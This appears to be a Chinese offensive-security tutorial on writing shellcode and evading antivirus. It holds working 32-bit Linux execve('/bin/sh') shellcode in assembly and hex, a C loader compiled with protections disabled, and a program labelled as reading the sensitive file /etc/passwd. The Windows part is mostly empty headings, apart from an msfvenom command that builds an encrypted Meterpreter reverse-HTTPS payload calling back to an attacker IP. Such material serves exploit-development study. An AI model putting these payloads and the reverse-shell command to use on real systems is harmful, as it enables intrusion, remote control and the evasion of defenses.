跳转至

Shellcode编写及免杀

shellcode编写

一般来说,shellcode就是系统可以**直接**识别并执行的二进制代码,通常以作为测试漏洞利用效果的功能“载荷”的形式来使用。

为什么叫shellcode?因为在最初的大多数场景下,攻击者是把获取对方系统的shell作为最终目标,所以实现这个功能的代码也因此被称作shellcode。

具体的说,shellcode在使用前,可以 以文件的形式存储在本地。比如我们通过一些工具,或者自己编写的代码,生成了一个shellcode文件,我们可以把它起名为file存在本地D盘中,比如:D\demo\file,或者把它其名为1.bin、2.sc,甚至3.txt,任何名字都可以。

shellcode本身不依赖它叫什么名字,也无关要紧存放在哪。操作系统本身没法直接运行它,我们只能通过自己编写代码,或者一些特殊的工具、手段,才能把它运行起来。

linux

32位

以ubuntu 16.04 TLS系统为例

创建新shell

在Linux里,有两种方法创建新进程:

一是通过现有的进程来创建,并替换正在活动的;

二是利用现有的进程来生成它自己的拷贝,并在它的位置运行这个新进程。

而execve()系统调用就可以在现有的进程空间里执行其他的进程。

C
#include <unistd.h>

int main()
{
        char* argv[] = {"/bin/sh", NULL};
        execve("/bin/sh", argv, NULL);
        return 0;
}

假如我们要使用execve来创建一个新sh

Bash
# 编译
gcc -static -o exit exit.c
  • 查看反汇编
Bash
gcc -c -o main.o main.c
objdump -s -d main.o > main.o.txt

GAS
Disassembly of section .text:

00000000 <main>:
   0:   8d 4c 24 04             lea    0x4(%esp),%ecx
   4:   83 e4 f0                and    $0xfffffff0,%esp
   7:   ff 71 fc                pushl  -0x4(%ecx)
   a:   55                      push   %ebp
   b:   89 e5                   mov    %esp,%ebp
   d:   51                      push   %ecx
   e:   83 ec 14                sub    $0x14,%esp
  11:   65 a1 14 00 00 00       mov    %gs:0x14,%eax
  17:   89 45 f4                mov    %eax,-0xc(%ebp)
  1a:   31 c0                   xor    %eax,%eax
  1c:   c7 45 ec 00 00 00 00    movl   $0x0,-0x14(%ebp)
  23:   c7 45 f0 00 00 00 00    movl   $0x0,-0x10(%ebp)
  2a:   83 ec 04                sub    $0x4,%esp
  2d:   6a 00                   push   $0x0
  2f:   8d 45 ec                lea    -0x14(%ebp),%eax
  32:   50                      push   %eax
  33:   68 00 00 00 00          push   $0x0
  38:   e8 fc ff ff ff          call   39 <main+0x39>
  3d:   83 c4 10                add    $0x10,%esp
  40:   b8 00 00 00 00          mov    $0x0,%eax
  45:   8b 55 f4                mov    -0xc(%ebp),%edx
  48:   65 33 15 14 00 00 00    xor    %gs:0x14,%edx
  4f:   74 05                   je     56 <main+0x56>
  51:   e8 fc ff ff ff          call   52 <main+0x52>
  56:   8b 4d fc                mov    -0x4(%ebp),%ecx
  59:   c9                      leave
  5a:   8d 61 fc                lea    -0x4(%ecx),%esp
  5d:   c3                      ret
查看系统调用号

Linux/i386 system calls

syscalls.w3challs.com

可以看到系统调用号是11

C
 int execve(const char *filename, char *const argv[], char *const envp[]);

我们可以使用man execve查看execve的详细使用方法

  • filename必须指向包含要执行的二进制文件的路径的字符串。
  • argv []是程序的参数列表。大多数程序将使用强制性/选项参数运行。
  • envp []是要以key:value格式传递给程序的任何其他环境选项的列表。

编写汇编代码

  • ascii转16进制
Text Only
/bin/sh --> 0x2F62696E2F7368
GAS
BITS 32

section .text
    global _start

_start:
    xor eax, eax
    push eax        ; string terminator
    push 0x68732f   ; "/sh" --> "hs/"(reverse)
    push 0x6e69622f ; "/bin" --> "nib/"(reverse)
    mov ebx, esp    ; "//bin/sh",0 pointer is ESP
    xor ecx, ecx    ; ECX = 0
    xor edx, edx    ; EDX = 0
    mov al, 0xb     ; execve() --> code:11
    int 0x80
Bash
# 编译
nasm -f elf32 exec.asm 
# 链接
ld -m elf_i386 exec.o -o exec

可以看到成功执行

  • 查看反汇编
Bash
objdump -d exec

  • 提取shellcode
Bash
objdump -d ./exec | grep '[0-9a-f]:'| grep -v 'file'| cut -f2 -d:| cut -f1-6 -d' '| tr -s ' '| tr '\t' ' '| sed 's/ $//g'| sed 's/ /\\x/g'| paste -d '' -s | sed 's/^/"/'| sed 's/$/"/g'
Bash
# shellcode
"\x31\xc0\x50\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
  • shellcode加载
C
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
int main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
    return 0;
}
  • 测试shellcode
Bash
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
  1. -fno-stack-protector:
  2. 这个选项禁用了 GCC 的栈保护机制。栈保护机制通常用于防止缓冲区溢出攻击,通过在函数返回地址之前插入一个“金丝雀”(canary)值,如果这个值在函数返回时被修改,程序就会抛出异常。禁用这个选项意味着编译器不会在栈上插入金丝雀值,从而使得栈更容易受到攻击。
  3. -z execstack:
  4. 这个选项指示链接器启用可执行栈。默认情况下,大多数现代操作系统和编译器会将栈标记为不可执行,以防止程序在栈上执行任意代码(这是一种常见的利用方式)。-z execstack 选项覆盖了这个默认设置,使得栈上的数据可以作为代码执行。这在编写和测试 shellcode 时非常有用,因为 shellcode 通常会被放置在栈上并执行。
  5. shellcode.c:
  6. 这是要编译的源文件名。假设这个文件中包含了一些 C 代码,目标是将这些代码编译成一个可执行文件。
  7. -o shellcode:
  8. 这个选项指定了输出文件的名称。在这个例子中,编译后的可执行文件将被命名为 shellcode。

如果不加这些参数,那么无法正常执行

去除坏字符\x00

上述生成的payload我们可以看到其中存在\x00,在某些时候这会干扰我们的shellcode加载,比如字符串以\x00结尾,当程序在读取字符串时,默认读取到\x00就会停止,而我们后面的shellcode就不会被读取到

我们可以看到产生坏字符的原因是我们push了三个字节给32位寄存器,这就导致高位默认补了0

我们可以看到//bin/sh和/bin/sh的效果是等价的,甚至你在前面加更多的/,仍然等效,我们可以利用这个特性

  • 编写汇编代码
GAS
BITS 32

section .text
    global _start

_start:
    xor eax, eax
    push eax        ; string terminator
    push 0x68732f6e ; "n/sh" --> "hs/n"(reverse)
    push 0x69622f2f ; "//bi" --> "ib//"(reverse)
    mov ebx, esp    ; "//bin/sh",0 pointer is ESP
    xor ecx, ecx    ; ECX = 0
    xor edx, edx    ; EDX = 0
    mov al, 0xb     ; execve() --> code:11
    int 0x80

同上,生成的shellcode为:

Text Only
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
  • 加载shellcode
C
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
int main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
    return 0;
}

读取敏感文件
C
#include <stdio.h>
#include <stdlib.h>

int main() {
    FILE *file;
    char buffer[1024];

    // 打开 /etc/passwd 文件
    file = fopen("/etc/passwd", "r");
    if (file == NULL) {
        perror("无法打开 /etc/passwd 文件");
        exit(EXIT_FAILURE);
    }

    // 逐行读取并输出文件内容
    while (fgets(buffer, sizeof(buffer), file) != NULL) {
        printf("%s", buffer);
    }

    // 关闭文件
    fclose(file);

    return 0;
}

64位

windows

32位

64位

我们首先来看下下面这一段代码

C
#include “windows.h”

int main ()
{
    system(“dir”);
    return 0;
}

Msf免杀

Bash
msfvenom -p windows/x64/meterpreter_reverse_https lhost=172.22.122.20 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=baidu.pem PayloadUUIDName=dikesi -f raw -o shellcode_raw.txt

msf生成流量加密(使用证书)的木马

几乎不能免杀